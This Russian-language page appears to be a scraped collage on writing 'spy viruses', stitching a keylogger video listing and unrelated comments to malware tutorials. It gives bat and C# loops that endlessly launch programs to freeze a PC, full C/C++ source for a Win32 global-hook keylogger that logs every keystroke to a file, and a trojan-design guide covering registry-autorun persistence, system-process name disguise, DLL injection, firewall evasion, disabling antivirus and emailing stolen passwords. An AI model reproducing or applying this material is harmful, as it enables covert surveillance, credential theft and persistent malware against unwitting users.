Как написать вирусы шпион

KEYLOGGER Клавиатурный шпион с отправкой на почту





Автор на Youtube: Mr.

Robot Разработка ПО на заказ

СКАЧАТЬ Количество просмотров на Youtube 6.7K

Мой форум : https://unayt.ru/ Ссылка на обновление : https://youtu.be/GZdDESbcJLs Ссылка на страницу Автора вк: https://vk.com/mrrobotpro





Комментарии к этому видео:


Последние комментарии на сайте

Самый лучший Combo vine #10 l 2017 Лучшая подборка комбо вайнов — Смотреть/скачать
⇒ "круто"
Добавлено —


Иисус воскресе — Мультфильм для детей — Смотреть/скачать
⇒ "хороший, добрый мультик"
Добавлено —


ансамбль «Берёзка» — русский танец Тройка — Смотреть/скачать
⇒ "мне понравилось"
Добавлено —


Самый лучший чит в MINECRAFT | МОЩНАЯ KILLAURA, ДЛИННЫЙ LONGJUMP, ТОПОВЫЙ SCAFFOLD | Luna 2.1 — Смотреть/скачать
⇒ "крут как этот чит луна"
Добавлено —


ОТВЕТ BADCOMEDIAN / КАК ВРЁТ ШАРИЙ — Смотреть/скачать
⇒ "Приплыли. Теперь его и админы паблика Бэдкомедиана ненавидят и хотят загнобить… Нейтрально отношусь к Камикадзе Д, так как любой может высказывать своё мнение, но… Может, хватит? Его иногда послушаешь, так создаётся впечатление, что все кругом только и думают, как бы его загнобить, забанить, захейтить и так далее и тому подобное. Успокойся, ты не пуп земли и нафиг никому не нужен."
Добавлено —


Пишем вирус на языке программирования C#

Как может быть помните, тут уже была статья как создать вирус, благодаря которому перед пользователем появляются многие сотни окон командной строки, что в свою очередь забивает оперативную память. Напомню, что логика того вируса была в бесконечном открывании одного и того же окна.

Ну, а если оперативная память заполниться, то компьютер просто напросто зависнет. В данной статье мы попробуем создать такой же по выполняемой работе вирус, но он будет немного отличаться в коде. К тому же, мы выйдем за рамки простых bat-вирусов и напишем вирус и на языке C#. Вдобавок, на этот раз мы сможем запускать не только окна командной строки, а абсолютно любую программу или файл.

Пишем вирус, бесконечно открывающий любой файл

Чтобы заставить программу делать что-то бесконечно, нужен цикл. Причем цикл должен быть бесконечным. К счастью, в командной строке имеется поддержка циклов. Но работать с ними не сильно удобно. Поэтому мы будем использовать безусловный переход. Ниже приведен весь код, который необходим нашему, в данном случае, bat-вирусу.

😡 start mspaint goto:x

Вот эти три строчки заставят программу MS Paint открываться бесконечно. Естественно, для этого нужно создать Bat-файл с данным содержимым и запустить его. Модифицировать данный код можно только в одном месте — Вы можете задать любую другую программу или файл, который должен бесконечно запускаться. В случае с программами, у которых имеется специальные команды быстрого запуска, достаточно указать команду быстрого запуска этого приложения или инструмента. Ну, а если же Вам нужно запускать «чужеродный» предмет в здоровом организме Windows, необходимо указать полный путь до файла. При этом полный путь необходимо взять в кавычки, если там встречается пробел.

Пишем аналогичный вирус на языке C#

Написание же подобной программы на языке C# одно из самых простых заданий.

Нам всего лишь нужно быть знакомым с циклами и с методом

Process.Start()

, который позволяет запускать либо приложение, либо любой другой файл. Чтобы начать использовать данный метод, Вам нужно подключить следующую директиву:

using System. Diagnostics;

Ну, а после этого перед Вами сразу несколько способов написания вируса на C#, который будет бесконечно открывать, например, программу Paint. Ниже я приведу несколько реализации этого вируса, по одному на каждый цикл и безусловный переход:

while (true) { Process. Start(«mspaint»); }do { Process. Start(«mspaint»); } while (true)for (int a=0;a>3;a++) { Process. Start(«mspaint»); a-; }if (1>0) { Process. Start(«mspaint»); }metka:Process. Start(«mspaint»); goto metka;

В общем, методов решения предостаточно. Можете выбрать любой. Можете даже придумать свой. Главное понять то, что писать вирусы на C# это довольно просто, главное не увлекаться этим. Вот такими незамысловатыми программами можно неплохо подшутить над своими друзьями.

Платформа:Win32
Язык, используемый в примерах: C/C++
Уровень: Начинающий/Средний

Кейлоггер? Это просто!

В этой статье рассматриваются некоторые функции Win32 API, приемы и методы программирования под Windows достаточные для написания простого клавиатурного шпиона. Статья написана опираясь на материалы и вопросы форума uinc.ru по этой теме.

Введение

Зачем применяется клавиатурный шпион? В мирных целях — чтобы отследить определенную последовательность нажатий пользователем на клавиатуре. Пример — Abbyy Lingvo со своим <Ctrl>+<Ins>+<Ins>. А в "военных" — просто зафиксировать все вводимое с клавиатуры. В каких целях — ну это уже другой вопрос.

Методы

Ввод обычных символов с клавиатуры в Windows (как правило) отражается посылкой сообщений WM_KEYDOWN, WM_KEYUP окну в которое осуществляется ввод. Эти сообщения передают virtual-key коды нажатых клавиш. С ними не удобно работать поскольку нам самим придется преобразовывать их в вводимые символы, учитывая текущую кодировку, регистр и тд. В Win API этим занимается функция TranslateMessage(). Она транслирует эти сообщения с virtual-key кодами в символьные (WM_CHAR) и снова посылает их окну.

С помощью функции SetWindowHookEx мы установим ловушку (хук) для фильтрации посылаемых сообщений в Windows. Нас интересует сообщение WM_CHAR. Для этого вызовем ее с параметром WH_GETMESSAGE. С помощью SetWindowHookEx мы установим callback функцию, которая будет вызываться всякий раз когда сообщение будет попадать в очередь. А точнее всякий раз когда функци GetMessage или PeekMessage вынимают сообщение из очереди. Прежде чем "отдать" сообщение приложению, система передает это сообщение нашей хук-функции. С помощью хуков можно отслеживать события происходящие как в отдельном потоке, так и во всех потоках в системе. Мы поставим глобальный хук. Для глобальных хуков callback функция должна находиться в Dll. Callback функция вызывается из разных процессов, а dll, соответственно, подгружается во все эти процессы.

Итак, мы напишем dll, внутри которой будем устанавливать хук и внутри нее же будет находиться callback функция. А еще мы напишем основное приложение.

Из него мы будем вызывать эту dll. Когда dll поймает нажатие клавиши — мы будем информировать свое главное приложение посылкой ему сообщения. А главное приложение уже будет обрабатывать это событие — делать запись в файл.

Листинг MyHookDll.h

Вот интерфейс нашей dll-ли. Мы опишем и экспортируем две функции SetHook и UnsetHook. Думаю по названию понятно что делают эти функции. SetHook принимает два параметра — это handle окна, куда посылать нотификационное сообщение и собственно само сообщение. UnsetHook — без параметров.

#define MYHOOKDLL_API __declspec(dllexport)#include <windows.h> extern "C" { MYHOOKDLL_API int SetHook( HWND,UINT ); MYHOOKDLL_API int UnSetHook(); }

Листинг MyHookDll.cpp

А вот и сама dll.

#include "MyHookDll.h" // Глобальные переменные HINSTANCE hInstance = NULL; // The instance of the DLL// Описание нашей хук-функци LRESULT CALLBACK KeyboardMsgProc ( int, WPARAM, LPARAM );

А вот тут внимание, тонкий момент. Внутри dll-ли нам нужно хранить как минимум handle окна и сообщение. Но обратите внимание, что наша dll подгружается во все процессы. А все данные в dll (в том числе и глобальные) hInstance-зависимые. Поэтому мы объявим специальную разделяемую (shared) секцию. Данные обявленные в ней будут доступные всем экземплярам этой DLL. Обратите внимание на то, что во-первых, все переменные, объявленные здесь, должны быть проинициализированы; и во-вторых — имя секции может быть любым, но оно обрезается линкером до восьми символов (а то это может показаться странным когда вы посмотрите в откомпилированный екзешник).

#pragma data_seg(".SData") HHOOK hMsgHook = NULL; // Handle нашего хука UINT KBoardMessage = NULL; // Сообщение, которое мы будем посылать // родительскому приложению HWND hParentWnd = NULL; // Окно родительского приложения#pragma data_seg( ) //Директива линкеру создать разделяемую(shared) секцию с атрибутами RWS#pragma comment(linker,"/SECTION:.SData,RWS") // Далее, обычная DllMain BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { if (ul_reason_for_call == DLL_PROCESS_ATTACH) hInstance = (HINSTANCE)hModule; return TRUE; } // Две функции SetHook и UnsetHook MYHOOKDLL_API int SetHook (HWND hWnd, // window which // should receive notification messages UINT UpdateMsg) // notification message { if (hWnd == NULL) return -1; // Save received parameters hParentWnd = hWnd; KBoardMessage = UpdateMsg; // Set hook hMsgHook= ::SetWindowsHookEx (WH_GETMESSAGE, KeyboardMsgProc, hInstance, 0); // If we are failed…if (hMsgHook == NULL) return -1; return 0; }; MYHOOKDLL_API int UnSetHook() { UnhookWindowsHookEx (hMsgHook); hMsgHook = NULL; return 0; }; // И сама callback функция хука

В зависимости от типа хука — его callback функция возвращает разную информацию. Наш хук возвращает структуру MSG. Итак если она не пустая, сообщение — WM_CHAR и оно вынимается из очереди (ведь приложение может сколько угодно "смотреть" на сообщение, вызывая функцию PeekMessage с параметром PM_NOREMOVE, но вынуть его сможет один раз) посылаем своему приложению нотификацию.

LRESULT CALLBACK KeyboardMsgProc (int code, WPARAM wParam, LPARAM lParam) { if (code >= 0) { MSG * msg = (MSG * )lParam;if ((lParam) &&(msg->message == WM_CHAR) &&(wParam == PM_REMOVE)) PostMessage (hParentWnd, KBoardMessage, msg->wParam, 0 ); }return CallNextHookEx (hMsgHook, code ,wParam , lParam); };

Все. Можно компилировать.

Основное приложение

Оно очень простое. И состоит из одного файла

#include <windows.h> #include <stdio.h> // Функция окна LRESULT CALLBACK LogWndProc(HWND, UINT, UINT, LONG); // Сообщение, которое мы будем получать от хука#define WM_HOOKMESSAGE WM_USER+1 // Глобальные пременные HWND hWnd; // Главное окно приложения HINSTANCE hDllInst; // Dll с хуком// И две функцииint ( * SetHook)( HWND,UINT); int (* UnSetHook)(); // Вход в программуint APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { MSG msg; WNDCLASS wc;// Класс и окно которое будет получать уведомление о нажатиях клавиш. memset (&wc, 0, sizeof (wc)); wc.lpszClassName = "__MyKeyLogger"; wc.hInstance = hInstance; wc.lpfnWndProc = LogWndProc; wc.style = CS_HREDRAW | CS_VREDRAW ; wc.hbrBackground = (HBRUSH)(COLOR_MENU+1); wc.hCursor = LoadCursor(NULL, IDC_ARROW); RegisterClass(&wc); hWnd = ::CreateWindowEx (0, "__MyKeyLogger", "My KeyLogger", WS_POPUP |WS_VISIBLE | WS_CAPTION | WS_SYSMENU |WS_THICKFRAME , 0, 0, 200, 200, NULL, NULL, hInstance, 0);// Подгружаем dll hDllInst = LoadLibrary((LPCTSTR) "myhookdll.dll");if (hDllInst) { SetHook = (int ( *)(HWND, UINT ))GetProcAddress(hDllInst,"SetHook"); UnSetHook = (int ( *)( ))GetProcAddress(hDllInst, "UnSetHook"); }// Устанавливаем хук if(SetHook)SetHook(hWnd, WM_HOOKMESSAGE);// Цикл сообщений while (GetMessage(&msg, NULL, 0, 0)) { DispatchMessage(&msg); }// Снимаем хук if(UnSetHook)UnSetHook();if (IsWindow(hWnd )) DestroyWindow (hWnd );// Выгружаем dllif (hDllInst) FreeLibrary(hDllInst);// Выход return 0; }// Функция окна// В ней основной пункт — обработка нашего сообщения LRESULT CALLBACK LogWndProc(HWND hwnd, UINT Message, UINT wParam, LONG lParam) { FILE * f = fopen("a.log","a");switch (Message) { case WM_CLOSE: DestroyWindow(hwnd); break;case WM_HOOKMESSAGE: switch(wParam) { // для некоторых символов выведем их "название"case 0x08: fprintf(f,"<BkSp>");break; case 0x1b: fprintf(f,"<Esc>");break; case 0x0d: fprintf(f,"\n");break; default: fprintf(f,"%c",wParam ); } break;case WM_DESTROY: case WM_ENDSESSION: PostQuitMessage (0); break; } fclose(f); return DefWindowProc(hwnd,Message,wParam,lParam); }

Компилируем!

Кейлоггер готов.

Заключение

Даже такой простой кейлоггер может многое.

Будучи запущен с правами простого пользователя (не администратора) он может перехватывать ввод информации в практически любое окно Windows. Теперь вам доступно логгирование информации вводимой в окна броузеров, диалогов настройки и регистрации, оффисные приложения и окошко "Run as…". 🙂

Однако, ввод в некоторые окна наша программа не перехватывает.

Во-первых, это консольные окна в Win NT/2k/XP. Причина этому очень проста — сообщения WM_KEYDOWN и WM_KEYUP не транслируются в WM_CHAR. Этим окнам просто не приходит сообщение WM_CHAR.

Во-вторых, консольные окна Win9X. Там ввод с клавиатуры в консольное окно вообще не отражается посылкой сообщений.

И наконец, окошко winlogon-на — "специального" процесса в Win NT/2k/Xp.

Но решение этих задач выходит за рамки данной статьи.

Статья написана специально дляhttp://www.uinc.ru
Автор:TN

Keywords: кейлоггер, как написать кейлоггер, клавиатурный шпион, как написать клавиатурный шпион, слежка

Все документы и программы на этом сайте собраны ТОЛЬКО для образовательных целей, мы не отвечаем ни за какие последствия, которые имели место как следствие использования этих материалов\программ. Вы используете все вышеперечисленное на свой страх и риск.

Любые материалы с этого сайта не могут быть скопированы без разрешения автора или администрации.

Некоторые особенности в программировании троянских программ


При написании троянских программ любого типа необходимо учитывать некоторые общие принципы, общие для всех подобных программ. Конечно у Back Door есть свои нюансы, у Key Logger свои, но существуют некоторые общие черты, которые необходимо учитывать как при проектировании, так и при поиске троянских программ на компьютере.

Замечание: здесь рассматриваются лишь системы MS Windows.

Обеспечение самозапуска

Первый раз троян запускает сам пользователь, но было бы глупым считать, что он будет делать это каждый раз. Вот основные места в системе Windows, откуда система запускает программы при своем старте:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunservicesOnce HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Runservices

Плюс те же разделы для ключей HKEY_LOCAL_MACHINE и HKEY_USERS.
Плюс папки «Autorun» (общая и текущего пользователя) — ну это очень нагло, так как это место у всех на виду. Хотя, на крайний случай, когда происходит распаковка архива в эту директорию, с последующей «нормальной» инсталляцией( разумеется после повторного входа в систему/перезагрузки) этот способ становиться достаточно интересным.
Еще остаются архаичные win.ini и system.ini, но это уже для Win9x.

При этом имя файла желательно выбирать как можно правдоподобнее, не стоит привлекать внимание названием trojan.exe или vzlom.dll.

Еще одно замечание: если имя процесса: WinLogon.Exe, CSRSS.exe или другое «системное», то штатными средствами Windows (имеется в виду «Диспетчер задач») такой процесс завершить не удастся. А если эта программа будет достаточно часто проверять свое наличие в местах автозапуска и прописывать себя там( в случае отсутствия соответствующей записи), то для обычного пользователя будет достаточно трудно ее удалить(хотя «NT Process Viewer» без проблем остановит подобный процесс). Дело в том, что файл трояна, пока он запущен, не удалить. А автозапуск будет гарантирован регулярной проверкой ключей реестра. С точки зрения обычного пользователя — замкнутый круг…

Например раздел:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

содержит параметры:

internat.exe — строковый парметр, имеющий значение «internat.exe»,
DiskProtect — строковый парметр, имеющий значение «rundll32.exe protect.dll,EntryPoint».

Первая строка — просто запуск, программы с названием «internet.exe»
Вторая строка — приведен пример автозапуска DLL-библиотеки, при помощи стандартного средства Windows — программы «rundll32». Указывается имя dll-библиотеки, и «точка входа» — процедура в тоянской библиотеке, имеющая синтаксис:

void CALLBACK EntryPoint(
HWND hwnd, // handle to owner window
HINSTANCE hinst, // instance handle for the DLL
LPTSTR lpCmdLine, // string the DLL will parse
int nCmdShow // show state
);

Этот способ может быть несколько предпочтительнее первого из-за его «загадочности» для обычного пользователя.

Но это общеизвестные места, есть еще несколько достаточно «экзотических» способов для обеспечения самозапуска приложения, но некоторые из них требуют для своего обеспечения достаточно высокого уровня привилегий.

Раздел реестра
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

— там записан список библиотек, которые загружаются системой при загрузке. Программа — злоумышленник вполне может добавить туда свою запись, если пользователь, запустивший ее, имеет достаточно привилегий.

Можно так же отредактировать таблицу импорта у какого-либо файла, с тем чтобы он запускал троянскую dll-библиотеку при каждом своем запуске. Но это требует некоторых познаний в программировании, и есть риск, что эта программа уже запущена и записать новые данные в ее файл просто не получится.

К счастью, большинство пользователей входят в систему под учетной записью с администраторскими привилегиями, что облегчает работу злоумышленнику.

Последнее замечание в этом подразделе: необходимо проверять, чтобы не заражать уже зараженную машину. Так как это может привести к быстрому обнаружению трояна или вообще к неработоспособности системы/отдельных программ. Например, наличие в разделе реестра нескольких параметров с одинаковым значением не может не вызвать подозрения.

Обеспечение невидимости

Основным способом для обеспечения невидимости является использование так называемых «потоков». Дело в том, что все средства контроля, начиная от «Диспетчера задач» и кончая такими программами как «NT Process Viewer» или «TaskInfo2000» выводят лишь имена процессов, а потоки своих имен не имеют. Максимум, что могут сообщить такие программы — это количество потоков в отображаемых процессах. То есть все потоки в одном процессе в каком-то смысле одинаковы для внешних программ.

А как же создать свой поток в чужом процессе?

  • Редактированием раздела импорта целевого файла — там указаны библиотеки, необходимые для работы модуля. При проецировании каждой Dll из этого списка система будет вызывать функцию _DllMainCRTStartup ( это которая DllMain). Та, в свою очередь, может выполнить кое-какие действия, далекие от инициализации переменных.
    Описывать конечно просто, но вот реализовать… Нужно обладать кое-какими познаниями в структуре PE-файлов. Описаний достаточно много, есть, например, в книге
    Работа с файлами в Win32./ П.В. Румянцев — М.: Горячая линия — Телеком, 2002 г.
  • Подменой исходной Dll, своей библиотекой, предварительно сохранив переименованную старую. Далее воспользовавшись механизмом переадресации функций можно добится того, что «наша» Dll будет экспортировать все идентификаторы исходной Dll библиотеки.
    Конечно все это несложно, но наша Dll будет работать только с конкретной версией программы, в которую происходит внедрение, что не очень хорошо. Хотя, если подменять системные Dll, которые меняются только с выпуском новой версии ОС, то этот способ уже не кажется таким неэффективным и недолговечным.
  • Добавлением записи в HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs — эти библиотеки загружаются во все процессы, запускаемые системой. В каждой из которых выполнится функция DllMain (см. «Редактированием раздела импорта целевого файла» ).
    Но это достаточно опасно, так как при ошибках программирования может привести к краху системы.
  • Внедрением Dll методом удаленных потоков — этот метод подробно описан в книге Джеффри Рихтера «Windows 2000 для профессионалов».
  • У некоторых программ есть возможность указать загружаемые ими при старте библиотеки в ключах реестра или файлах конфигурации. Автору известна реализация этого способа в трояне под Win 9x, для обеспечения автозапуска троянской библиотеки использовался internet explorer.

Получение, отправка данных

После своего проникновения на компьютер жертвы троянская программа должна уметь, отправлять и принимать данные. Для Back Door троянов нужно будет написать клиент (он будет установлен на компьютере злоумышленника) и сервер (он будет установлен на компьютере жертвы).
Примеры работы программы-клиента и программы-сервера по протоколам UDP и TCP можно найти например в книге Михаила Фленова «Программирование на C++ глазами хакера», http://www.vr-online.ru

Для E-mail троянов нужно будет просто уметь отправлять данные на e-mail злоумышленника. Для этого необходимы знание основных команд протокола SMTP и сформированная для отправки строка(пароли, IP адрес жертвы и т.д.). Пример отправки на E-mail можно найти: http://www.mailinfo.ru/story02/02/10/3305614

Маскировка трафика

Способ «встраивания» своего кода в виде потока в чужом процессе помогает и в задаче маскировки трафика под трафик чужой программы.
Действительно, редко кто ставит в настройках брэндмауэра запрет на трафик «Explorer» или «IE». Некоторые тоянские программы имеют в себе базу с названиями основных антитроянских программ, брэндмауэров и пытаются либо помешать их нормальной работе, либо внести себя в списки «разрешенных», «доверенных» программ.

Действия

Это уже определяется фантазией автора. Можно реализовать и удаленную консоль, и собирать пароли от e-mail, ICQ, IRC… пароли к играм, пароли для доступа в Internet, серийные номера от программ, и возможность проводить распределенные вычисления, и организовать DoS атаку.
В качестве примера можно привести набор действий трояна Phatbot:

Phatbot представляет собой троянскую программу, способную проникать на машины через дыры в Windows или «черные ходы», оставленные другими вирусами, в частности, MyDoom и Bagle. После проникновения на компьютер Phatbot выполняет несколько основных операций.

Во-первых:
Phatbot ищет в памяти запущенные антивирусные процессы и пытается их закрыть (всего ему известно порядка 600 таких процессов).
Во-вторых:
троян вносит изменения в системный реестр, обеспечивая, тем самым, свой автоматический запуск при каждом включении компьютера.
В-третьих:
программа пытается украсть персональную информацию — логины и пароли для доступа к системе мгновенного обмена сообщениями AOL, ключи к играм, регистрационные ключи Windows и пр.
Наконец:
Phatbot подключает инфицированную машину к особой Р2Р-сети. По словам экспертов, такая Р2Р-сеть может использоваться для организации DoS-атак или же для отправки миллионов рекламных сообщений без ведома владельцев компьютеров. Ситуация ухудшается еще и тем, что деактивировать вирус можно только лишь путем очистки всех до единого компьютеров, входящих в такую пиринговую сеть.

Главное — это не привлекать излишнего внимания вообще или до наступления решающего момента — например до начала атаки на сервер корпорации Microsoft или до уничтожения всех данных пользователя.

Добавить комментарий

Закрыть меню